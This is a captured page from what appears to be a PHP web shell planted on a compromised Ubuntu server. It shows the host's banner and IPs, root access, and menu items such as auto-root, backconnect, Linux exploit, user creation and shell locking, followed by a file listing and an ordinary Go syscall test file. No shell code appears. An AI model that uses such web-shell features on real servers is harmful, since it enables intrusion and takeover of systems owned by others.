Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
syscall /
[ HOME SHELL ]
Name
Size
Permission
Action
js
[ DIR ]
drwxr-xr-x
asm9_unix1_amd64.s
1.02
KB
-rw-r--r--
asm9_unix2_amd64.s
1.2
KB
-rw-r--r--
asm_aix_ppc64.s
540
B
-rw-r--r--
asm_darwin_386.s
2.5
KB
-rw-r--r--
asm_darwin_amd64.s
2.82
KB
-rw-r--r--
asm_darwin_arm.s
2.81
KB
-rw-r--r--
asm_darwin_arm64.s
2.71
KB
-rw-r--r--
asm_freebsd_arm.s
2.96
KB
-rw-r--r--
asm_freebsd_arm64.s
2.68
KB
-rw-r--r--
asm_linux_386.s
4.67
KB
-rw-r--r--
asm_linux_amd64.s
3.21
KB
-rw-r--r--
asm_linux_arm.s
3.63
KB
-rw-r--r--
asm_linux_arm64.s
2.73
KB
-rw-r--r--
asm_linux_mips64x.s
2.28
KB
-rw-r--r--
asm_linux_mipsx.s
3.28
KB
-rw-r--r--
asm_linux_ppc64x.s
2.66
KB
-rw-r--r--
asm_linux_riscv64.s
2.46
KB
-rw-r--r--
asm_linux_s390x.s
4.19
KB
-rw-r--r--
asm_netbsd_arm.s
2.85
KB
-rw-r--r--
asm_netbsd_arm64.s
2.77
KB
-rw-r--r--
asm_openbsd_arm.s
3.22
KB
-rw-r--r--
asm_openbsd_arm64.s
2.49
KB
-rw-r--r--
asm_plan9_386.s
3.14
KB
-rw-r--r--
asm_plan9_amd64.s
3.06
KB
-rw-r--r--
asm_plan9_arm.s
3.25
KB
-rw-r--r--
asm_solaris_amd64.s
1.79
KB
-rw-r--r--
asm_unix_386.s
2.74
KB
-rw-r--r--
asm_unix_amd64.s
2.08
KB
-rw-r--r--
asm_windows.s
384
B
-rw-r--r--
bpf_bsd.go
4.61
KB
-rw-r--r--
bpf_darwin.go
3.97
KB
-rw-r--r--
const_plan9.go
1.2
KB
-rw-r--r--
creds_test.go
3.26
KB
-rw-r--r--
dir_plan9.go
5.62
KB
-rw-r--r--
dirent.go
3
KB
-rw-r--r--
dirent_test.go
3.28
KB
-rw-r--r--
dll_windows.go
9.72
KB
-rw-r--r--
endian_big.go
239
B
-rw-r--r--
endian_little.go
273
B
-rw-r--r--
env_plan9.go
2.15
KB
-rw-r--r--
env_unix.go
2.77
KB
-rw-r--r--
env_windows.go
1.75
KB
-rw-r--r--
errors_plan9.go
1.61
KB
-rw-r--r--
exec_aix_test.go
816
B
-rw-r--r--
exec_bsd.go
6.36
KB
-rw-r--r--
exec_darwin.go
6.76
KB
-rw-r--r--
exec_libc.go
6.96
KB
-rw-r--r--
exec_linux.go
18.34
KB
-rw-r--r--
exec_linux_test.go
18.81
KB
-rw-r--r--
exec_plan9.go
13.19
KB
-rw-r--r--
exec_solaris_test.go
808
B
-rw-r--r--
exec_unix.go
8.13
KB
-rw-r--r--
exec_unix_test.go
3.89
KB
-rw-r--r--
exec_windows.go
7.64
KB
-rw-r--r--
export_freebsd_test.go
304
B
-rw-r--r--
export_linux_test.go
252
B
-rw-r--r--
export_test.go
193
B
-rw-r--r--
export_unix_test.go
341
B
-rw-r--r--
flock.go
691
B
-rw-r--r--
flock_aix.go
564
B
-rw-r--r--
flock_darwin.go
405
B
-rw-r--r--
flock_linux_32bit.go
481
B
-rw-r--r--
forkpipe.go
501
B
-rw-r--r--
forkpipe2.go
276
B
-rw-r--r--
fs_js.go
10.46
KB
-rw-r--r--
getdirentries_test.go
2.18
KB
-rw-r--r--
lsf_linux.go
2.12
KB
-rw-r--r--
mkall.sh
12.49
KB
-rwxr-xr-x
mkasm_darwin.go
1.66
KB
-rw-r--r--
mkerrors.sh
10.65
KB
-rwxr-xr-x
mkpost.go
1.99
KB
-rw-r--r--
mksyscall.pl
9.52
KB
-rwxr-xr-x
mksyscall_libc.pl
7.8
KB
-rwxr-xr-x
mksyscall_windows.go
707
B
-rw-r--r--
mksysctl_openbsd.pl
5.04
KB
-rwxr-xr-x
mksysnum_darwin.pl
578
B
-rwxr-xr-x
mksysnum_dragonfly.pl
866
B
-rwxr-xr-x
mksysnum_freebsd.pl
1.35
KB
-rwxr-xr-x
mksysnum_linux.pl
1.26
KB
-rwxr-xr-x
mksysnum_netbsd.pl
1.01
KB
-rwxr-xr-x
mksysnum_openbsd.pl
871
B
-rwxr-xr-x
mksysnum_plan9.sh
459
B
-rwxr-xr-x
mmap_unix_test.go
544
B
-rw-r--r--
msan.go
409
B
-rw-r--r--
msan0.go
341
B
-rw-r--r--
net.go
1.19
KB
-rw-r--r--
net_js.go
2.11
KB
-rw-r--r--
netlink_linux.go
4.67
KB
-rw-r--r--
pwd_plan9.go
1.55
KB
-rw-r--r--
route_bsd.go
9.09
KB
-rw-r--r--
route_darwin.go
2.01
KB
-rw-r--r--
route_dragonfly.go
2.61
KB
-rw-r--r--
route_freebsd.go
2.67
KB
-rw-r--r--
route_freebsd_32bit.go
1.29
KB
-rw-r--r--
route_freebsd_64bit.go
724
B
-rw-r--r--
route_netbsd.go
1.43
KB
-rw-r--r--
route_openbsd.go
1.46
KB
-rw-r--r--
security_windows.go
10.12
KB
-rw-r--r--
setuidgid_32_linux.go
306
B
-rw-r--r--
setuidgid_linux.go
302
B
-rw-r--r--
sock_cloexec_linux.go
632
B
-rw-r--r--
sockcmsg_dragonfly.go
547
B
-rw-r--r--
sockcmsg_linux.go
1.12
KB
-rw-r--r--
sockcmsg_unix.go
2.56
KB
-rw-r--r--
sockcmsg_unix_other.go
957
B
-rw-r--r--
str.go
549
B
-rw-r--r--
syscall.go
3.72
KB
-rw-r--r--
syscall_aix.go
17.83
KB
-rw-r--r--
syscall_aix_ppc64.go
405
B
-rw-r--r--
syscall_bsd.go
14.07
KB
-rw-r--r--
syscall_bsd_test.go
1.16
KB
-rw-r--r--
syscall_darwin.go
14.26
KB
-rw-r--r--
syscall_darwin_386.go
2
KB
-rw-r--r--
syscall_darwin_amd64.go
1.92
KB
-rw-r--r--
syscall_darwin_arm.go
2.03
KB
-rw-r--r--
syscall_darwin_arm64.go
1.98
KB
-rw-r--r--
syscall_dragonfly.go
7.98
KB
-rw-r--r--
syscall_dragonfly_amd64.go
1.12
KB
-rw-r--r--
syscall_freebsd.go
15.82
KB
-rw-r--r--
syscall_freebsd_386.go
1.17
KB
-rw-r--r--
syscall_freebsd_amd64.go
1.12
KB
-rw-r--r--
syscall_freebsd_arm.go
1.16
KB
-rw-r--r--
syscall_freebsd_arm64.go
1.12
KB
-rw-r--r--
syscall_freebsd_test.go
1.35
KB
-rw-r--r--
syscall_getwd_bsd.go
453
B
-rw-r--r--
syscall_js.go
6.59
KB
-rw-r--r--
syscall_linux.go
26.05
KB
-rw-r--r--
syscall_linux_386.go
10.91
KB
-rw-r--r--
syscall_linux_amd64.go
5.39
KB
-rw-r--r--
syscall_linux_arm.go
7.47
KB
-rw-r--r--
syscall_linux_arm64.go
6.24
KB
-rw-r--r--
syscall_linux_mips64x.go
6.58
KB
-rw-r--r--
syscall_linux_mipsx.go
7.03
KB
-rw-r--r--
syscall_linux_ppc64x.go
5.21
KB
-rw-r--r--
syscall_linux_riscv64.go
6.4
KB
-rw-r--r--
syscall_linux_s390x.go
8.64
KB
-rw-r--r--
syscall_linux_test.go
10.61
KB
-rw-r--r--
syscall_netbsd.go
7.59
KB
-rw-r--r--
syscall_netbsd_386.go
716
B
-rw-r--r--
syscall_netbsd_amd64.go
709
B
-rw-r--r--
syscall_netbsd_arm.go
716
B
-rw-r--r--
syscall_netbsd_arm64.go
709
B
-rw-r--r--
syscall_openbsd.go
7.06
KB
-rw-r--r--
syscall_openbsd_386.go
715
B
-rw-r--r--
syscall_openbsd_amd64.go
701
B
-rw-r--r--
syscall_openbsd_arm.go
715
B
-rw-r--r--
syscall_openbsd_arm64.go
906
B
-rw-r--r--
syscall_plan9.go
8.94
KB
-rw-r--r--
syscall_plan9_test.go
1.15
KB
-rw-r--r--
syscall_ptrace_test.go
752
B
-rw-r--r--
syscall_solaris.go
15.07
KB
-rw-r--r--
syscall_solaris_amd64.go
487
B
-rw-r--r--
syscall_test.go
1.7
KB
-rw-r--r--
syscall_unix.go
8.3
KB
-rw-r--r--
syscall_unix_test.go
10.61
KB
-rw-r--r--
syscall_windows.go
42.54
KB
-rw-r--r--
syscall_windows_386.go
176
B
-rw-r--r--
syscall_windows_amd64.go
176
B
-rw-r--r--
syscall_windows_test.go
1.8
KB
-rw-r--r--
tables_js.go
19.17
KB
-rw-r--r--
time_fake.go
676
B
-rw-r--r--
time_nofake.go
350
B
-rw-r--r--
timestruct.go
1.13
KB
-rw-r--r--
types_aix.go
3.35
KB
-rw-r--r--
types_darwin.go
4.98
KB
-rw-r--r--
types_dragonfly.go
5.04
KB
-rw-r--r--
types_freebsd.go
6.96
KB
-rw-r--r--
types_linux.go
10.68
KB
-rw-r--r--
types_netbsd.go
4.77
KB
-rw-r--r--
types_openbsd.go
5.04
KB
-rw-r--r--
types_solaris.go
4.88
KB
-rw-r--r--
types_windows.go
26.96
KB
-rw-r--r--
types_windows_386.go
477
B
-rw-r--r--
types_windows_amd64.go
477
B
-rw-r--r--
types_windows_arm.go
477
B
-rw-r--r--
zerrors_aix_ppc64.go
47.16
KB
-rw-r--r--
zerrors_darwin_386.go
55.27
KB
-rw-r--r--
zerrors_darwin_amd64.go
55.27
KB
-rw-r--r--
zerrors_darwin_arm.go
46.08
KB
-rw-r--r--
zerrors_darwin_arm64.go
55.78
KB
-rw-r--r--
zerrors_dragonfly_amd64.go
59.49
KB
-rw-r--r--
zerrors_freebsd_386.go
67.35
KB
-rw-r--r--
zerrors_freebsd_amd64.go
67.4
KB
-rw-r--r--
zerrors_freebsd_arm.go
67.34
KB
-rw-r--r--
zerrors_freebsd_arm64.go
67.41
KB
-rw-r--r--
zerrors_linux_386.go
58.31
KB
-rw-r--r--
zerrors_linux_amd64.go
58.35
KB
-rw-r--r--
zerrors_linux_arm.go
58.83
KB
-rw-r--r--
zerrors_linux_arm64.go
69.52
KB
-rw-r--r--
zerrors_linux_mips.go
70.14
KB
-rw-r--r--
zerrors_linux_mips64.go
69.46
KB
-rw-r--r--
zerrors_linux_mips64le.go
69.46
KB
-rw-r--r--
zerrors_linux_mipsle.go
70.14
KB
-rw-r--r--
zerrors_linux_ppc64.go
71.84
KB
-rw-r--r--
zerrors_linux_ppc64le.go
72.8
KB
-rw-r--r--
zerrors_linux_riscv64.go
71.76
KB
-rw-r--r--
zerrors_linux_s390x.go
74.28
KB
-rw-r--r--
zerrors_netbsd_386.go
67.43
KB
-rw-r--r--
zerrors_netbsd_amd64.go
67.02
KB
-rw-r--r--
zerrors_netbsd_arm.go
66.45
KB
-rw-r--r--
zerrors_netbsd_arm64.go
67.02
KB
-rw-r--r--
zerrors_openbsd_386.go
62.47
KB
-rw-r--r--
zerrors_openbsd_amd64.go
62.43
KB
-rw-r--r--
zerrors_openbsd_arm.go
62.46
KB
-rw-r--r--
zerrors_openbsd_arm64.go
66.36
KB
-rw-r--r--
zerrors_solaris_amd64.go
50.71
KB
-rw-r--r--
zerrors_windows.go
9.97
KB
-rw-r--r--
zerrors_windows_386.go
176
B
-rw-r--r--
zerrors_windows_amd64.go
176
B
-rw-r--r--
zsyscall_aix_ppc64.go
40.02
KB
-rw-r--r--
zsyscall_darwin_386.go
53.97
KB
-rw-r--r--
zsyscall_darwin_386.s
8.65
KB
-rw-r--r--
zsyscall_darwin_amd64.go
53.83
KB
-rw-r--r--
zsyscall_darwin_amd64.s
8.65
KB
-rw-r--r--
zsyscall_darwin_arm.go
53.44
KB
-rw-r--r--
zsyscall_darwin_arm.s
8.56
KB
-rw-r--r--
zsyscall_darwin_arm64.go
53.3
KB
-rw-r--r--
zsyscall_darwin_arm64.s
8.56
KB
-rw-r--r--
zsyscall_dragonfly_amd64.go
30.9
KB
-rw-r--r--
zsyscall_freebsd_386.go
33.55
KB
-rw-r--r--
zsyscall_freebsd_amd64.go
33.41
KB
-rw-r--r--
zsyscall_freebsd_arm.go
33.58
KB
-rw-r--r--
zsyscall_freebsd_arm64.go
33.41
KB
-rw-r--r--
zsyscall_linux_386.go
35.54
KB
-rw-r--r--
zsyscall_linux_amd64.go
40.66
KB
-rw-r--r--
zsyscall_linux_arm.go
39.77
KB
-rw-r--r--
zsyscall_linux_arm64.go
38.92
KB
-rw-r--r--
zsyscall_linux_mips.go
41.52
KB
-rw-r--r--
zsyscall_linux_mips64.go
41.3
KB
-rw-r--r--
zsyscall_linux_mips64le.go
41.3
KB
-rw-r--r--
zsyscall_linux_mipsle.go
41.52
KB
-rw-r--r--
zsyscall_linux_ppc64.go
41.94
KB
-rw-r--r--
zsyscall_linux_ppc64le.go
41.94
KB
-rw-r--r--
zsyscall_linux_riscv64.go
38.95
KB
-rw-r--r--
zsyscall_linux_s390x.go
35.94
KB
-rw-r--r--
zsyscall_netbsd_386.go
29.62
KB
-rw-r--r--
zsyscall_netbsd_amd64.go
29.48
KB
-rw-r--r--
zsyscall_netbsd_arm.go
29.63
KB
-rw-r--r--
zsyscall_netbsd_arm64.go
29.48
KB
-rw-r--r--
zsyscall_openbsd_386.go
30.46
KB
-rw-r--r--
zsyscall_openbsd_amd64.go
30.32
KB
-rw-r--r--
zsyscall_openbsd_arm.go
30.47
KB
-rw-r--r--
zsyscall_openbsd_arm64.go
30.32
KB
-rw-r--r--
zsyscall_plan9_386.go
6.17
KB
-rw-r--r--
zsyscall_plan9_amd64.go
6.17
KB
-rw-r--r--
zsyscall_plan9_arm.go
6.17
KB
-rw-r--r--
zsyscall_solaris_amd64.go
35.79
KB
-rw-r--r--
zsyscall_windows.go
60.53
KB
-rw-r--r--
zsysctl_openbsd.go
11.71
KB
-rw-r--r--
zsysnum_darwin_386.go
14.55
KB
-rw-r--r--
zsysnum_darwin_amd64.go
14.55
KB
-rw-r--r--
zsysnum_darwin_arm.go
12.28
KB
-rw-r--r--
zsysnum_darwin_arm64.go
14.38
KB
-rw-r--r--
zsysnum_dragonfly_amd64.go
22.72
KB
-rw-r--r--
zsysnum_freebsd_386.go
25.65
KB
-rw-r--r--
zsysnum_freebsd_amd64.go
25.65
KB
-rw-r--r--
zsysnum_freebsd_arm.go
25.65
KB
-rw-r--r--
zsysnum_freebsd_arm64.go
36.09
KB
-rw-r--r--
zsysnum_linux_386.go
11.26
KB
-rw-r--r--
zsysnum_linux_amd64.go
10.1
KB
-rw-r--r--
zsysnum_linux_arm.go
11.55
KB
-rw-r--r--
zsysnum_linux_arm64.go
8.95
KB
-rw-r--r--
zsysnum_linux_mips.go
12.1
KB
-rw-r--r--
zsysnum_linux_mips64.go
10.93
KB
-rw-r--r--
zsysnum_linux_mips64le.go
10.93
KB
-rw-r--r--
zsysnum_linux_mipsle.go
12.1
KB
-rw-r--r--
zsysnum_linux_ppc64.go
11.46
KB
-rw-r--r--
zsysnum_linux_ppc64le.go
11.49
KB
-rw-r--r--
zsysnum_linux_riscv64.go
8.88
KB
-rw-r--r--
zsysnum_linux_s390x.go
10.64
KB
-rw-r--r--
zsysnum_netbsd_386.go
25.54
KB
-rw-r--r--
zsysnum_netbsd_amd64.go
25.55
KB
-rw-r--r--
zsysnum_netbsd_arm.go
25.54
KB
-rw-r--r--
zsysnum_netbsd_arm64.go
25.55
KB
-rw-r--r--
zsysnum_openbsd_386.go
14.15
KB
-rw-r--r--
zsysnum_openbsd_amd64.go
14.15
KB
-rw-r--r--
zsysnum_openbsd_arm.go
14.46
KB
-rw-r--r--
zsysnum_openbsd_arm64.go
14.72
KB
-rw-r--r--
zsysnum_plan9.go
1.03
KB
-rw-r--r--
zsysnum_solaris_amd64.go
289
B
-rw-r--r--
zsysnum_windows_386.go
40
B
-rw-r--r--
zsysnum_windows_amd64.go
40
B
-rw-r--r--
ztypes_aix_ppc64.go
4.17
KB
-rw-r--r--
ztypes_darwin_386.go
6.7
KB
-rw-r--r--
ztypes_darwin_amd64.go
6.92
KB
-rw-r--r--
ztypes_darwin_arm.go
6.77
KB
-rw-r--r--
ztypes_darwin_arm64.go
6.92
KB
-rw-r--r--
ztypes_dragonfly_amd64.go
6.7
KB
-rw-r--r--
ztypes_freebsd_386.go
9
KB
-rw-r--r--
ztypes_freebsd_amd64.go
9
KB
-rw-r--r--
ztypes_freebsd_arm.go
9.01
KB
-rw-r--r--
ztypes_freebsd_arm64.go
9
KB
-rw-r--r--
ztypes_linux_386.go
11.55
KB
-rw-r--r--
ztypes_linux_amd64.go
11.92
KB
-rw-r--r--
ztypes_linux_arm.go
11.44
KB
-rw-r--r--
ztypes_linux_arm64.go
10.12
KB
-rw-r--r--
ztypes_linux_mips.go
9.93
KB
-rw-r--r--
ztypes_linux_mips64.go
10.05
KB
-rw-r--r--
ztypes_linux_mips64le.go
10.05
KB
-rw-r--r--
ztypes_linux_mipsle.go
9.93
KB
-rw-r--r--
ztypes_linux_ppc64.go
10.21
KB
-rw-r--r--
ztypes_linux_ppc64le.go
10.35
KB
-rw-r--r--
ztypes_linux_riscv64.go
10.2
KB
-rw-r--r--
ztypes_linux_s390x.go
10.39
KB
-rw-r--r--
ztypes_netbsd_386.go
5.98
KB
-rw-r--r--
ztypes_netbsd_amd64.go
6.17
KB
-rw-r--r--
ztypes_netbsd_arm.go
6.13
KB
-rw-r--r--
ztypes_netbsd_arm64.go
6.17
KB
-rw-r--r--
ztypes_openbsd_386.go
6.73
KB
-rw-r--r--
ztypes_openbsd_amd64.go
6.88
KB
-rw-r--r--
ztypes_openbsd_arm.go
6.84
KB
-rw-r--r--
ztypes_openbsd_arm64.go
6.66
KB
-rw-r--r--
ztypes_solaris_amd64.go
5.56
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : exec_linux_test.go
// Copyright 2015 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // +build linux package syscall_test import ( "flag" "fmt" "internal/testenv" "io" "io/ioutil" "os" "os/exec" "os/user" "path/filepath" "runtime" "strconv" "strings" "syscall" "testing" "unsafe" ) func isDocker() bool { _, err := os.Stat("/.dockerenv") return err == nil } func isLXC() bool { return os.Getenv("container") == "lxc" } func skipInContainer(t *testing.T) { // TODO: the callers of this func are using this func to skip // tests when running as some sort of "fake root" that's uid 0 // but lacks certain Linux capabilities. Most of the Go builds // run in privileged containers, though, where root is much // closer (if not identical) to the real root. We should test // for what we need exactly (which capabilities are active?), // instead of just assuming "docker == bad". Then we'd get more test // coverage on a bunch of builders too. if isDocker() { t.Skip("skip this test in Docker container") } if isLXC() { t.Skip("skip this test in LXC container") } } func skipNoUserNamespaces(t *testing.T) { if _, err := os.Stat("/proc/self/ns/user"); err != nil { if os.IsNotExist(err) { t.Skip("kernel doesn't support user namespaces") } if os.IsPermission(err) { t.Skip("unable to test user namespaces due to permissions") } t.Fatalf("Failed to stat /proc/self/ns/user: %v", err) } } func skipUnprivilegedUserClone(t *testing.T) { // Skip the test if the sysctl that prevents unprivileged user // from creating user namespaces is enabled. data, errRead := ioutil.ReadFile("/proc/sys/kernel/unprivileged_userns_clone") if errRead != nil || len(data) < 1 || data[0] == '0' { t.Skip("kernel prohibits user namespace in unprivileged process") } } // Check if we are in a chroot by checking if the inode of / is // different from 2 (there is no better test available to non-root on // linux). func isChrooted(t *testing.T) bool { root, err := os.Stat("/") if err != nil { t.Fatalf("cannot stat /: %v", err) } return root.Sys().(*syscall.Stat_t).Ino != 2 } func checkUserNS(t *testing.T) { skipInContainer(t) skipNoUserNamespaces(t) if isChrooted(t) { // create_user_ns in the kernel (see // https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/tree/kernel/user_namespace.c) // forbids the creation of user namespaces when chrooted. t.Skip("cannot create user namespaces when chrooted") } // On some systems, there is a sysctl setting. if os.Getuid() != 0 { skipUnprivilegedUserClone(t) } // On Centos 7 make sure they set the kernel parameter user_namespace=1 // See issue 16283 and 20796. if _, err := os.Stat("/sys/module/user_namespace/parameters/enable"); err == nil { buf, _ := ioutil.ReadFile("/sys/module/user_namespace/parameters/enabled") if !strings.HasPrefix(string(buf), "Y") { t.Skip("kernel doesn't support user namespaces") } } // On Centos 7.5+, user namespaces are disabled if user.max_user_namespaces = 0 if _, err := os.Stat("/proc/sys/user/max_user_namespaces"); err == nil { buf, errRead := ioutil.ReadFile("/proc/sys/user/max_user_namespaces") if errRead == nil && buf[0] == '0' { t.Skip("kernel doesn't support user namespaces") } } // When running under the Go continuous build, skip tests for // now when under Kubernetes. (where things are root but not quite) // Both of these are our own environment variables. // See Issue 12815. if os.Getenv("GO_BUILDER_NAME") != "" && os.Getenv("IN_KUBERNETES") == "1" { t.Skip("skipping test on Kubernetes-based builders; see Issue 12815") } } func whoamiCmd(t *testing.T, uid, gid int, setgroups bool) *exec.Cmd { checkUserNS(t) cmd := exec.Command("whoami") cmd.SysProcAttr = &syscall.SysProcAttr{ Cloneflags: syscall.CLONE_NEWUSER, UidMappings: []syscall.SysProcIDMap{ {ContainerID: 0, HostID: uid, Size: 1}, }, GidMappings: []syscall.SysProcIDMap{ {ContainerID: 0, HostID: gid, Size: 1}, }, GidMappingsEnableSetgroups: setgroups, } return cmd } func testNEWUSERRemap(t *testing.T, uid, gid int, setgroups bool) { cmd := whoamiCmd(t, uid, gid, setgroups) out, err := cmd.CombinedOutput() if err != nil { t.Fatalf("Cmd failed with err %v, output: %s", err, out) } sout := strings.TrimSpace(string(out)) want := "root" if sout != want { t.Fatalf("whoami = %q; want %q", out, want) } } func TestCloneNEWUSERAndRemapRootDisableSetgroups(t *testing.T) { if os.Getuid() != 0 { t.Skip("skipping root only test") } testNEWUSERRemap(t, 0, 0, false) } func TestCloneNEWUSERAndRemapRootEnableSetgroups(t *testing.T) { if os.Getuid() != 0 { t.Skip("skipping root only test") } testNEWUSERRemap(t, 0, 0, true) } func TestCloneNEWUSERAndRemapNoRootDisableSetgroups(t *testing.T) { if os.Getuid() == 0 { t.Skip("skipping unprivileged user only test") } testNEWUSERRemap(t, os.Getuid(), os.Getgid(), false) } func TestCloneNEWUSERAndRemapNoRootSetgroupsEnableSetgroups(t *testing.T) { if os.Getuid() == 0 { t.Skip("skipping unprivileged user only test") } cmd := whoamiCmd(t, os.Getuid(), os.Getgid(), true) err := cmd.Run() if err == nil { t.Skip("probably old kernel without security fix") } if !os.IsPermission(err) { t.Fatalf("Unprivileged gid_map rewriting with GidMappingsEnableSetgroups must fail") } } func TestEmptyCredGroupsDisableSetgroups(t *testing.T) { cmd := whoamiCmd(t, os.Getuid(), os.Getgid(), false) cmd.SysProcAttr.Credential = &syscall.Credential{} if err := cmd.Run(); err != nil { t.Fatal(err) } } func TestUnshare(t *testing.T) { skipInContainer(t) // Make sure we are running as root so we have permissions to use unshare // and create a network namespace. if os.Getuid() != 0 { t.Skip("kernel prohibits unshare in unprivileged process, unless using user namespace") } // When running under the Go continuous build, skip tests for // now when under Kubernetes. (where things are root but not quite) // Both of these are our own environment variables. // See Issue 12815. if os.Getenv("GO_BUILDER_NAME") != "" && os.Getenv("IN_KUBERNETES") == "1" { t.Skip("skipping test on Kubernetes-based builders; see Issue 12815") } path := "/proc/net/dev" if _, err := os.Stat(path); err != nil { if os.IsNotExist(err) { t.Skip("kernel doesn't support proc filesystem") } if os.IsPermission(err) { t.Skip("unable to test proc filesystem due to permissions") } t.Fatal(err) } if _, err := os.Stat("/proc/self/ns/net"); err != nil { if os.IsNotExist(err) { t.Skip("kernel doesn't support net namespace") } t.Fatal(err) } orig, err := ioutil.ReadFile(path) if err != nil { t.Fatal(err) } origLines := strings.Split(strings.TrimSpace(string(orig)), "\n") cmd := exec.Command("cat", path) cmd.SysProcAttr = &syscall.SysProcAttr{ Unshareflags: syscall.CLONE_NEWNET, } out, err := cmd.CombinedOutput() if err != nil { if strings.Contains(err.Error(), "operation not permitted") { // Issue 17206: despite all the checks above, // this still reportedly fails for some users. // (older kernels?). Just skip. t.Skip("skipping due to permission error") } t.Fatalf("Cmd failed with err %v, output: %s", err, out) } // Check there is only the local network interface sout := strings.TrimSpace(string(out)) if !strings.Contains(sout, "lo:") { t.Fatalf("Expected lo network interface to exist, got %s", sout) } lines := strings.Split(sout, "\n") if len(lines) >= len(origLines) { t.Fatalf("Got %d lines of output, want <%d", len(lines), len(origLines)) } } func TestGroupCleanup(t *testing.T) { if os.Getuid() != 0 { t.Skip("we need root for credential") } cmd := exec.Command("id") cmd.SysProcAttr = &syscall.SysProcAttr{ Credential: &syscall.Credential{ Uid: 0, Gid: 0, }, } out, err := cmd.CombinedOutput() if err != nil { t.Fatalf("Cmd failed with err %v, output: %s", err, out) } strOut := strings.TrimSpace(string(out)) expected := "uid=0(root) gid=0(root)" // Just check prefix because some distros reportedly output a // context parameter; see https://golang.org/issue/16224. // Alpine does not output groups; see https://golang.org/issue/19938. if !strings.HasPrefix(strOut, expected) { t.Errorf("id command output: %q, expected prefix: %q", strOut, expected) } } func TestGroupCleanupUserNamespace(t *testing.T) { if os.Getuid() != 0 { t.Skip("we need root for credential") } checkUserNS(t) cmd := exec.Command("id") uid, gid := os.Getuid(), os.Getgid() cmd.SysProcAttr = &syscall.SysProcAttr{ Cloneflags: syscall.CLONE_NEWUSER, Credential: &syscall.Credential{ Uid: uint32(uid), Gid: uint32(gid), }, UidMappings: []syscall.SysProcIDMap{ {ContainerID: 0, HostID: uid, Size: 1}, }, GidMappings: []syscall.SysProcIDMap{ {ContainerID: 0, HostID: gid, Size: 1}, }, } out, err := cmd.CombinedOutput() if err != nil { t.Fatalf("Cmd failed with err %v, output: %s", err, out) } strOut := strings.TrimSpace(string(out)) // Strings we've seen in the wild. expected := []string{ "uid=0(root) gid=0(root) groups=0(root)", "uid=0(root) gid=0(root) groups=0(root),65534(nobody)", "uid=0(root) gid=0(root) groups=0(root),65534(nogroup)", "uid=0(root) gid=0(root) groups=0(root),65534", "uid=0(root) gid=0(root) groups=0(root),65534(nobody),65534(nobody),65534(nobody),65534(nobody),65534(nobody),65534(nobody),65534(nobody),65534(nobody),65534(nobody),65534(nobody)", // Alpine; see https://golang.org/issue/19938 "uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023", // CentOS with SELinux context, see https://golang.org/issue/34547 } for _, e := range expected { if strOut == e { return } } t.Errorf("id command output: %q, expected one of %q", strOut, expected) } // TestUnshareHelperProcess isn't a real test. It's used as a helper process // for TestUnshareMountNameSpace. func TestUnshareMountNameSpaceHelper(*testing.T) { if os.Getenv("GO_WANT_HELPER_PROCESS") != "1" { return } defer os.Exit(0) if err := syscall.Mount("none", flag.Args()[0], "proc", 0, ""); err != nil { fmt.Fprintf(os.Stderr, "unshare: mount %v failed: %v", os.Args, err) os.Exit(2) } } // Test for Issue 38471: unshare fails because systemd has forced / to be shared func TestUnshareMountNameSpace(t *testing.T) { skipInContainer(t) // Make sure we are running as root so we have permissions to use unshare // and create a network namespace. if os.Getuid() != 0 { t.Skip("kernel prohibits unshare in unprivileged process, unless using user namespace") } d, err := ioutil.TempDir("", "unshare") if err != nil { t.Fatalf("tempdir: %v", err) } cmd := exec.Command(os.Args[0], "-test.run=TestUnshareMountNameSpaceHelper", d) cmd.Env = []string{"GO_WANT_HELPER_PROCESS=1"} cmd.SysProcAttr = &syscall.SysProcAttr{Unshareflags: syscall.CLONE_NEWNS} o, err := cmd.CombinedOutput() if err != nil { if strings.Contains(err.Error(), ": permission denied") { t.Skipf("Skipping test (golang.org/issue/19698); unshare failed due to permissions: %s, %v", o, err) } t.Fatalf("unshare failed: %s, %v", o, err) } // How do we tell if the namespace was really unshared? It turns out // to be simple: just try to remove the directory. If it's still mounted // on the rm will fail with EBUSY. Then we have some cleanup to do: // we must unmount it, then try to remove it again. if err := os.Remove(d); err != nil { t.Errorf("rmdir failed on %v: %v", d, err) if err := syscall.Unmount(d, syscall.MNT_FORCE); err != nil { t.Errorf("Can't unmount %v: %v", d, err) } if err := os.Remove(d); err != nil { t.Errorf("rmdir after unmount failed on %v: %v", d, err) } } } // Test for Issue 20103: unshare fails when chroot is used func TestUnshareMountNameSpaceChroot(t *testing.T) { skipInContainer(t) // Make sure we are running as root so we have permissions to use unshare // and create a network namespace. if os.Getuid() != 0 { t.Skip("kernel prohibits unshare in unprivileged process, unless using user namespace") } d, err := ioutil.TempDir("", "unshare") if err != nil { t.Fatalf("tempdir: %v", err) } // Since we are doing a chroot, we need the binary there, // and it must be statically linked. x := filepath.Join(d, "syscall.test") cmd := exec.Command(testenv.GoToolPath(t), "test", "-c", "-o", x, "syscall") cmd.Env = append(os.Environ(), "CGO_ENABLED=0") if o, err := cmd.CombinedOutput(); err != nil { t.Fatalf("Build of syscall in chroot failed, output %v, err %v", o, err) } cmd = exec.Command("/syscall.test", "-test.run=TestUnshareMountNameSpaceHelper", "/") cmd.Env = []string{"GO_WANT_HELPER_PROCESS=1"} cmd.SysProcAttr = &syscall.SysProcAttr{Chroot: d, Unshareflags: syscall.CLONE_NEWNS} o, err := cmd.CombinedOutput() if err != nil { if strings.Contains(err.Error(), ": permission denied") { t.Skipf("Skipping test (golang.org/issue/19698); unshare failed due to permissions: %s, %v", o, err) } t.Fatalf("unshare failed: %s, %v", o, err) } // How do we tell if the namespace was really unshared? It turns out // to be simple: just try to remove the executable. If it's still mounted // 